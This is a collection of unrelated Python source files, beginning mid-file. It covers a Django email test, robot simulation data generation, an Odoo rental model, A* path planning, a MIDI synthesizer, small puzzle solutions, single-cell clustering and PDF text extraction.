        self.assertTemplateUsed(response, 'lens/base.html')
        self.assertTemplateUsed(response, 'lens/home.html')

# A test case which tests whether emails can successfully be sent with AWS SES.
class SendEmailTestCase(TestCase):
    # Set up the class for testing.
    @classmethod
    def setUpClass(cls):
        # Call the superclass' setUpClass() method.
        super().setUpClass()

        # Add test data to the class.
        cls.email_subject = 'Lens Email Test'
        cls.email_body = 'This is a test email for programmatic email delivery from Lens with AWS SES'
        cls.email_sender = 'Lens Email Test Service <email-test@epm0dev.me>'
        cls.email_recipients = ['epmancin@ncsu.edu']

    # Test whether or not an email can be sent successfully and whether or not it's contents are correct in the outbox.
    def test_send_email(self):
        # Send an email with the class' test data and store the status that is returned.
        status = mail.send_mail(
            self.email_subject,
            self.email_body,
            self.email_sender,
            self.email_recipients,
            fail_silently=False,
        )

        # Ensure that the returned status code is not 0 (i.e. the email was successfully sent).
        self.assertNotEqual(status, 0)

        # Ensure that the length of the mail outbox is correct.
        self.assertEqual(len(mail.outbox), 1)

        # Ensure that the contents of the email are correct.
        self.assertEqual(mail.outbox[0].subject, self.email_subject)
        self.assertEqual(mail.outbox[0].body, self.email_body)


import json
import os
import random
from argparse import ArgumentParser

import torch
from tqdm import tqdm

from shadow_program_inversion.experiments.contact.common import ScenarioFactory
from shadow_program_inversion.priors.path_generator import PathGeneratorMoveLinear
from shadow_program_inversion.priors.static_prior import StaticPrior
from shadow_program_inversion.utils.io import save_simulation_data_to_file
from shadow_program_inversion.utils.sequence_utils import chunk
import shadow_program_inversion.utils.config as cfg

TRAJECTORY_LENGTH = 250

def main(args):
    scenario = ScenarioFactory.make_scenario(args.material)
    config_path = os.path.join(cfg.DATA_DIR, "config", f"config_urscript_{args.material}.json")
    ml_simulator = StaticPrior(PathGeneratorMoveLinear(), sampling_interval=0.016, multiproc=True)
    with open(config_path) as config_file:
        config = json.load(config_file)
    batch_size = (torch.multiprocessing.cpu_count() - 1) * 8
    for kind in ["train", "test"]:
        output_filepath = os.path.join(cfg.DATA_DIR, "urscript", args.material, f"sim_{kind}",
                                       f"urscript_{args.material}_{kind}.h5")
        num_data = int(0.8 * args.num_data) if kind == "train" else int(0.2 * args.num_data)
        for batch in tqdm(chunk(range(num_data), batch_size), total=int(num_data / batch_size)):
            inputs = []
            points_from = []
            for _ in batch:
                approach_pose = scenario.approach_pose()
                vel = random.uniform(*config["velocity"]["limits"]["cartesian"])
                acc = random.uniform(*config["acceleration"]["limits"]["cartesian"])
                z_offset = random.uniform(*config["point_to_offset"]["limits"]["z"])
                goal_pose = scenario.goal_pose()
                goal_pose.position.z += z_offset
                input_tensor = torch.cat((torch.as_tensor(goal_pose.parameters()), torch.as_tensor([vel, acc])), dim=-1)
                inputs.append(input_tensor)
                point_from_tensor = torch.as_tensor(approach_pose.parameters())
                points_from.append(point_from_tensor)
            input_batch = torch.stack(inputs)
            points_from_batch = torch.stack(points_from)
            simulations = ml_simulator.simulate(input_batch, points_from_batch,
                                                max_trajectory_len=TRAJECTORY_LENGTH, cache=False)
            save_simulation_data_to_file(output_filepath, input_batch, points_from_batch, simulations, None)

if __name__ == '__main__':
    parser = ArgumentParser()
    parser.add_argument("material", type=str, choices=["foam", "pcb", "rubber"])
    parser.add_argument("num_data", type=int)
    main(parser.parse_args())


from odoo import api, fields, models, exceptions
from datetime import date

# some attributes can impact the database schema
# some attributes can impact the view

def default_available_from(arg):

	today_date = date.today()
	if (today_date.month >= 9):
		return date(today_date.year + 1, 9, 1)
	else:
		return date(today_date.year, 9, 1)

# the dependency triggers a recomputation when one of the fields is changed
@api.depends('available_to', 'available_from')
def _compute_total_price(self):

	for record in self:
		if (self.available_from is not None and self.available_to is not None):
			daily_price = (self.monthly_price * 12) / 365
			self.total_price = daily_price * (self.available_to - self.available_from).days
		else:
			self.total_price = None

@api.depends('offer_ids.monthly_price')
def _compute_best_monthly_price(self):

	if (self.offer_ids):
		self.best_monthly_price = min(self.offer_ids.mapped('monthly_price'))
	else:
		self.best_monthly_price = 0

def default_available_to(arg):

	today_date = date.today()
	if (today_date.month >= 9):
		return date(today_date.year + 2, 9, 1)
	else:
		return date(today_date.year + 1, 9, 1)

# modifies one record at a time in the form view when grass is checked

class SportsField(models.Model):

	_name = 'sports_field'
	_description = 'Properties of the potential sports fields to rent'
	_order = 'id desc'

	name = fields.Char(size=50, required=True)
	description = fields.Text()
	postcode = fields.Char(size=10)
	yearly_days_off = fields.Integer(default=0)
	available_from = fields.Date(required=True, default=default_available_from)
	available_to = fields.Date(required=True, default = default_available_to)
	monthly_price = fields.Float(required=True)
	grass = fields.Boolean()
	booked_from = fields.Date(copy=False, readonly=True)
	booked_to = fields.Date(copy=False, readonly=True)
	total_price = fields.Float(compute=_compute_total_price)
	final_total_price = fields.Float(copy=False, readonly=True)
	active = fields.Boolean(default=True)
	state = fields.Selection(
		selection=[('new', 'New'), ('offer_sent', 'Offer Sent'),
					('offer_accepted', 'Offer Accepted'), ('signed', 'Signed'),
					('canceled', 'Canceled')],
		default='new',
		required=True,
		copy=False
	)
	best_monthly_price = fields.Float(compute=_compute_best_monthly_price)
	_sql_constraints = [
		('check_monthly_price', 'CHECK(monthly_price >= 0)',
			'Monthly price should be greater or equal to 0.'),
	]

	### relations

	sports_field_type_id = fields.Many2one(
		'sports_field_type',
		string="Sports field type",
	)
	owner_id = fields.Many2one(
			'res.partner', string="Owner",
			help='The owner of the field',
			copy=False
	)
	# finder: defaults to the current user
	finder_id = fields.Many2one(
			'res.users', string='Finder',
			help="The club member that found the lead",
			default=lambda self: self.env.user
	)
	tag_ids = fields.Many2many('sports_field_tag', string="Tags")
	# one field can have many offers
	offer_ids = fields.One2many('sports_field_offer', 'field_id', string="Offers")

	@api.onchange('offer_ids')
	def _onchange_offer_ids(self):

		if (self.state == 'new'):
			self.state = 'offer_sent'
		if (len(self.offer_ids) == 0):
			self.state = 'new'

	@api.onchange('grass')
	def _onchange_grass(self):
		self.yearly_days_off = 10

	def action_sold(self):

		for record in self:
			if (record.state != 'canceled'):
				record.state = 'signed'
			else:
				raise exceptions.UserError('Canceled fields cannot be set as signed.')

	def action_cancel(self):

		for record in self:
			if (record.state != 'signed'):
				record.state = 'canceled'
			else:
				raise exceptions.UserError('Signed fields cannot be set as canceled.')


import tensorflow as tf

x = tf.constant(1, name='x')
y = tf.constant(2, name='y')

add_op = tf.add(x, y)

print(add_op)

input("2: Press Enter to continue...")


import numpy as np
import matplotlib.pyplot as plt
from utils import *
class Node:
    """A node class for path planning"""
    def __init__(self, parent=None, position=None, U= None, V=None, current_cost=np.inf):
        self.parent = parent
        self.position = position
        self.g = 0
        self.h = 0
        self.f = 0
        self.current = currentAt(self, U, V)
        self.cost = current_cost
        self.transition_cost = None
        self.V_AUV = None
        self.V_AUVs = None
        self.risk = None
    def __str__(self):
        return str(self.position)# + "," + str(self.parent) + "," + str(self.cost)
    def __repr__(self):
        return str(self.position)# + "," + str(self.parent) + "," + str(self.cost) + "," + str(self.transition_cost)
    def __eq__(self, other):
        return self.position == other.position
    def update_transitions(self, edges):
        self.transition_cost = edges
    def update_current_cost(self, new_cost):
        self.cost = new_cost
    def update_vauvs(self, vauvs):
        self.V_AUVs = vauvs

"""
Compute current at the given node, using matrices U and V of X,Y velocity components respectively
"""
def currentAt(node, U, V):
    if U is None or V is None:
        return None
    return np.array((U[node.position[1], node.position[0]], V[node.position[1], node.position[0]]))

"""
The main A* algorithm.
Input: an AUV object and an Environment object
Output: the computed path as a list of Nodes, in the order they are visited
        each node has .VUAV attribute, which is the AUV velocity vector at that node
"""
def astar(auv, env, cost, heuristic, alpha, vis):

    start = auv.origin
    end = auv.goal
    X = env.X
    Y = env.Y
    U, V = env.CurrentField_x, env.CurrentField_y
    # Create start and end node
    start_node = Node(None, start, U, V)
    start_node.g = start_node.h = start_node.f = 0
    end_node = Node(None, end, U, V)
    end_node.g = end_node.h = end_node.f = 0

    # Initialize both open and closed list
    open_list = []
    closed_list = []

    # Add the start node
    start_node.V_AUV = np.array((0,0))
    open_list.append(start_node)

    start_node.risk = 0
    start_node.timeToChild = 0.001
    # Loop until you find the end
    Qmax = 0
    while len(open_list) > 0:

        ### space complexity measurement
        Qmax = max(Qmax,len(open_list))
        ###

        # Get the current node (node with smallest f value i.e. cost-to-go)
        current_node = open_list[0]
        current_index = 0
        for index, item in enumerate(open_list):
            if item.f < current_node.f:
                current_node = item
                current_index = index
        # Pop current off open list, add to closed list
        open_list.pop(current_index)
        closed_list.append(current_node)

        # Found the goal
        if dist(current_node, end_node) < 0.01:
            path = []
            current = current_node
            while current is not None:
                path.append(current)
                current = current.parent

            # make sure we have a V_AUV for the first way point (added by Michael Schmid on 4/27/2019)
            # Return reversed path
            path = path[::-1]
            _, path[0].V_AUV = cost(path[0], path[1], auv.speed, alpha)
            # change to new path interface
            path = [ {'position': pt.position, 'V_AUV': pt.V_AUV} for pt in path ]
            print("MaxQueueLength: ",Qmax)
            return path

        # Generate children
        children = []
        for new_position in [(0, -1), (0, 1), (-1, 0), (1, 0), (-1, -1), (-1, 1), (1, -1), (1, 1)]: # Adjacent squares
            # Get node position
            node_position = (current_node.position[0] + new_position[0], current_node.position[1] + new_position[1], current_node.position[2])
            # Make sure within range
            if node_position[0] > env.Dimension_x or node_position[0] < 0 or node_position[1] > env.Dimension_y or node_position[1] < 0:
                continue
            # Create new node and add to the children list
            new_node = Node(current_node, node_position, U, V)
            children.append(new_node)

        # Now loop through children
        for child in children:
            # Create the f, g, and h values
            child.risk = env.actualRisk(child.position[0], child.position[1], child.position[2])
            if cost.__name__ == "cost_no_current_no_risk":
                child.timeToChild, child.V_AUV = cost(current_node, child, auv.speed)
            else:
                child.timeToChild, child.V_AUV = cost(current_node, child, auv.speed, alpha)
            child.g = current_node.g + child.timeToChild

            timeToGoal = heuristic(child, end_node, auv.speed)
            child.h = timeToGoal
            child.f = child.g + child.h

            # if we find the child on either the open or closed list **with a better cost** we discard the child
            discard = False

            # Check if child is already in the open list
            foundInOpen = False
            for i, open_node in enumerate(open_list):
                if child == open_node:
                    foundInOpen = True
                    openIdx = i
                    if child.f > open_node.f:
                        discard = True

            #Check if child is already in the closed list
            foundInClosed = False
            for i, closed_node in enumerate(closed_list):
                if child == closed_node:
                    foundInClosed = True
                    closedIdx = i
                    if child.f > closed_node.f:
                        discard = True

            if discard:
                continue

            #remove old occurances of the node, and add the child to the open list
            if foundInOpen:
                open_list.pop(openIdx)
            if foundInClosed:
                closed_list.pop(closedIdx)
            open_list.append(child)


#!/usr/bin/env python3
"""Extremely primitive MIDI synthesizer"""
import sys
import argparse
from dataclasses import dataclass, field, replace
import time
from typing import Dict

import numpy as np
import sounddevice as sd
import mido

def note_frequency(note):
    return 440.0 * 2**((note - 69) / 12)

@dataclass
class Note:
    frequency: float = 0.0
    velocity: int = 0
    ontime: float = 0.0
    offtime: float = np.inf

@dataclass
class Channel:
    notes: Dict[int, Note] = field(default_factory=dict)
    program: int = 0
    pitch_bend: float = 0.0

class MidiSynth:
    def __init__(self, args):
        input_port = args.input_port
        if isinstance(input_port, int) and not args.virtual_port:
            input_port = mido.get_input_names()[input_port]
        self.input = mido.open_input(input_port, virtual=args.virtual_port)
        self.channels = [Channel() for i in range(16)]

        dev_info = sd.query_devices(args.output_device, 'output')
        self.sample_rate = dev_info['default_samplerate']
        self.start_idx = 0
        self.start_time = 0.0
        self.last_time = 0.0

        self.waveform = getattr(self, 'waveform_' + args.waveform)
        self.envelope = getattr(self, 'envelope_' + args.envelope)
        self.attack = args.attack
        self.decay = args.decay
        self.sustain = args.sustain
        self.release = args.release

        self.stream = sd.OutputStream(
            device=args.output_device, samplerate=self.sample_rate, channels=1,
            latency=args.latency, callback=self.callback)

    def close(self):
        self.input.close()
        self.stream.close()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.close()

    def callback(self, outdata, frames, time, status):
        if status:
            print(status, file=sys.stderr)
        if self.start_idx == 0:
            self.start_time = time.currentTime
        t = (self.start_idx + np.arange(frames)) / self.sample_rate + self.start_time
        t = t.reshape(-1, 1)
        self.synthesize(outdata, t)
        self.start_idx += frames
        # print(f'{time.currentTime:f} {self.stream.time - time.currentTime:f} '
        #       f'{time.outputBufferDacTime - time.currentTime:f} '
        #       f'{time.currentTime - self.last_time:f} {frames}')
        # self.last_time = time.currentTime

    def synthesize(self, output, t):
        output[:] = 0.0
        for channel in self.channels:
            for note in channel.notes.values():
                output += self.synthesize_note(t, note, channel)
        # output.clip(-1, 1, out=output)
        # np.tanh(output, out=output)
        output /= max(abs(output).max(), 1)

    def synthesize_note(self, t, note, channel):
        # print(note.ontime, note.offtime, t[0,0])
        # if note.ontime <= t[0,0] < note.offtime:
        amp = note.velocity
        freq = note.frequency * 2**(channel.pitch_bend / 6)
        envelope = self.envelope(t - note.ontime, t - note.offtime)
        return amp * envelope * self.waveform(freq * t)

    def envelope_flat(self, t_on, t_off):
        return np.float32((t_on >= 0) & (t_off < 0))

    def envelope_asr(self, t_on, t_off):
        y = t_on/self.attack
        np.minimum(y, 1-t_off/self.release, out=y)
        np.clip(y, 0, 1, out=y)
        return y

    def envelope_adsr(self, t_on, t_off):
        y = t_on/self.attack
        dec_sus = np.maximum(1-(1-self.sustain)/self.decay*(t_on-self.attack),
                             self.sustain)
        np.minimum(y, dec_sus, out=y)
        np.minimum(y, self.sustain*(1-t_off/self.release), out=y)
        np.clip(y, 0, 1, out=y)
        return y

    def envelope_asr_exp(self, t_on, t_off):
        y = 1. - np.exp(-4./self.attack*t_on)
        y *= np.where(t_off < 0, 1, np.exp(-4./self.release*t_off))
        # np.minimum(y, np.exp(-4./self.release*t_off), out=y)
        np.clip(y, 0, 1, out=y)
        return y

    def envelope_adsr_exp(self, t_on, t_off):
        y = 1. - np.exp(-4./self.attack*t_on)
        y *= np.where(
            t_on < self.attack, 1,
            np.exp(-4./self.decay*(t_on-self.attack))*(1-self.sustain)+self.sustain)
        y *= np.where(t_off < 0, 1, np.exp(-4./self.release*t_off))
        np.clip(y, 0, 1, out=y)
        return y

    def waveform_sine(self, t):
        return np.sin(2*np.pi * t)

    def waveform_square(self, t):
        return 1 - 2*np.floor(2*t % 2)

    def waveform_saw(self, t):
        return (t - .5) % 1 * 2 - 1

    def waveform_tri(self, t):
        return abs((4*t - 1) % 4 - 2) - 1

    def process_msg(self, msg):
        channel = self.channels[msg.channel]
        if msg.type in ('note_on', 'note_off'):
            notes = channel.notes.copy()
            if msg.type == 'note_on' and msg.velocity:
                freq = note_frequency(msg.note)
                notes[msg.note] = Note(freq, msg.velocity/127, self.stream.time)
            else:
                # notes.pop(msg.note, None)
                note = notes.get(msg.note)
                if note:
                    notes[msg.note] = replace(note, offtime=self.stream.time)
            channel.notes = notes
        elif msg.type == 'program_change':
            channel.program = msg.program
        elif msg.type == 'pitchwheel':
            channel.pitch_bend = msg.pitch / 8192

    def flush_notes(self):
        for ch in range(16):
            channel = self.channels[ch]
            channel.notes = {n: note for n, note in channel.notes.items()
                             if self.stream.time - note.offtime < self.release}

    def run(self):
        with self.stream:
            self.stream.start()
            while True:
                for msg in self.input.iter_pending():
                    self.process_msg(msg)
                self.flush_notes()
                time.sleep(.01)

def main(args):
    try:
        with MidiSynth(args) as synth:
            print('Receiving midi messages... Press Ctr+C to quit')
            synth.run()
    except KeyboardInterrupt:
        pass

def int_or_str(text):
    """Helper function for argument parsing."""
    try:
        return int(text)
    except ValueError:
        return text

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument('-l', '--list-ports', action='store_true',
                        help='show list of midi input ports and exit')
    parser.add_argument('-L', '--list-outputs', action='store_true',
                        help='show list of audio output devices and exit')
    parser.add_argument('-i', '--input-port', type=int_or_str,
                        help='midi input port (numeric ID or string)')
    parser.add_argument('-o', '--output-device', type=int_or_str,
                        help='output device (numeric ID or string)')
    parser.add_argument('-v', '--virtual-port', action='store_true',
                        help='open a virtual midi input port')
    parser.add_argument('-t', '--latency', type=float, default=.5,
                        help='latency for audio output')
    parser.add_argument('-w', '--waveform', default='tri',
                        choices=['sine', 'square', 'saw', 'tri'],
                        help='set the shape of the wave function')
    parser.add_argument('-e', '--envelope', default='adsr',
                        choices=['flat', 'asr', 'adsr', 'asr_exp', 'adsr_exp'],
                        help='set the envelope type')
    parser.add_argument('-a', '--attack', type=float, default=.05,
                        help='ADSR attack time')
    parser.add_argument('-d', '--decay', type=float, default=.2,
                        help='ADSR decay time')
    parser.add_argument('-s', '--sustain', type=float, default=.8,
                        help='ADSR sustain level')
    parser.add_argument('-r', '--release', type=float, default=.5,
                        help='ADSR release time')
    args = parser.parse_args()
    if args.list_outputs:
        # Some audio devices on windows have weird names with line breaks
        print(str(sd.query_devices()).replace('\r\n', ''))
        parser.exit()
    if args.list_ports:
        print('\n'.join(mido.get_input_names()))
        parser.exit()
    main(args)


reader = open('whatbase.in', 'r')
writer = open('whatbase.out', 'w')

def get(s):
    res = []
    for c in s:
        res.append(int(c))
    return res

def compute(arr, base):
    return arr[0] * base * base + arr[1] * base + arr[2]

K = int(reader.readline())
for _ in xrange(K):
    s1, s2 = reader.readline().split()
    n1, n2 = get(s1), get(s2)

    ptr1, ptr2 = 10, 10
    while ptr1 <= 15000 and ptr2 <= 15000:
        val1, val2 = compute(n1, ptr1), compute(n2, ptr2)
        if val1 == val2:
            writer.write(str(ptr1) + ' ' + str(ptr2) + '\n')
            break
        elif val1 < val2:
            ptr1 += 1
        else: ptr2 += 1


class Solution:
    def repeatedCharacter(self, s: str):
        dic = {}
        for i in range(len(s)):
            c = s[i]
            count = dic.setdefault(c, 0)
            if count > 0:
                return c
            else:
                dic[c] = count + 1


import logging
from typing import List

import anndata as ad
import pandas as pd
import scanpy as sc
from sklearn.cluster import MiniBatchKMeans, SpectralClustering, AgglomerativeClustering

import config

def split_to_major_cluster(adata_with_scvi_emb: ad.AnnData, emb_col_name: str,
                           clustering_model_name: str, num_clusters: int,
                           col_name_to_split_by:str="major_clusters") -> List[ad.AnnData]:
    logging.info(f"spliting adata to {num_clusters} clusters, using {clustering_model_name}")
    if clustering_model_name == "kmeans":
        clustering_model = MiniBatchKMeans(n_clusters=num_clusters, verbose=1)
        adata_with_scvi_emb.obs[col_name_to_split_by] = clustering_model.fit(
            adata_with_scvi_emb.obsm[emb_col_name]).labels_
    elif clustering_model_name == "spectral":
        clustering_model = SpectralClustering(n_clusters=num_clusters, affinity='nearest_neighbors', n_jobs=10)
        adata_with_scvi_emb.obs[col_name_to_split_by] = clustering_model.fit(
            adata_with_scvi_emb.obsm[emb_col_name]).labels_
    elif clustering_model_name == "agglomerative":
        clustering_model = AgglomerativeClustering(n_clusters=num_clusters, linkage='ward')
        adata_with_scvi_emb.obs[col_name_to_split_by] = clustering_model.fit(
            adata_with_scvi_emb.obsm[emb_col_name]).labels_
    elif clustering_model_name == "leiden_and_agglomerative":
        clustering_model = AgglomerativeClustering(n_clusters=num_clusters, linkage='ward')

        sc.pp.neighbors(adata_with_scvi_emb, use_rep=emb_col_name)
        leiden_col_name = "leiden_for_major_cluster"
        sc.tl.leiden(adata_with_scvi_emb, resolution=config.TL_LEIDEN_RESOLUTION * 1.5, key_added=leiden_col_name)

        all_cells_df = pd.DataFrame(index=adata_with_scvi_emb.obs_names,
                                    data=adata_with_scvi_emb.obsm[emb_col_name])
        all_cells_df[leiden_col_name] = adata_with_scvi_emb.obs[leiden_col_name]
        df_of_leiden_means = all_cells_df.groupby(by=leiden_col_name).mean()
        leiden_labels_col_name = "leiden_labels"
        df_of_leiden_means[leiden_labels_col_name] = clustering_model.fit(df_of_leiden_means).labels_
        cells_cluster = pd.merge(left=all_cells_df, right=df_of_leiden_means, how="left",
                                 left_on=leiden_col_name, right_index=True)[leiden_labels_col_name]
        adata_with_scvi_emb.obs[col_name_to_split_by] = cells_cluster
    else:
        raise NotImplementedError

    adatas = []
    for group, idx in adata_with_scvi_emb.obs.groupby(col_name_to_split_by).indices.items():
        sub_adata = adata_with_scvi_emb[idx].copy()
        adatas.append(sub_adata)

    return adatas


from django.shortcuts import render

# Create your views here.
def home(request):
    person=[{'name':'vikash','age':23},{'name':'vikash','age':23}]
    for persons in person:
        print(persons)
    return render(request ,"index.html",context={'person':person})
def number(request):
    list=[1,2,3,4,5,6]
    for lists in list:
        print(lists)
    return render(request , "index.html", context={'list':list})


import PyPDF2

# Open the PDF file in read-only mode
with open(r"C:\Users\nharw\Desktop\PDF2Anki Project\Cho Chikun LD1.pdf", 'rb') as file:
    # Create a PDF object
    pdf = PyPDF2.PdfReader(file)

    # Iterate over every page
    for page in range(len(pdf.pages)):
        # Extract the text from the page
        text = pdf.pages[page].extract_text()

        # Save the text to a file
        with open(f'page_{page}.txt', 'w') as output:
            output.write(text)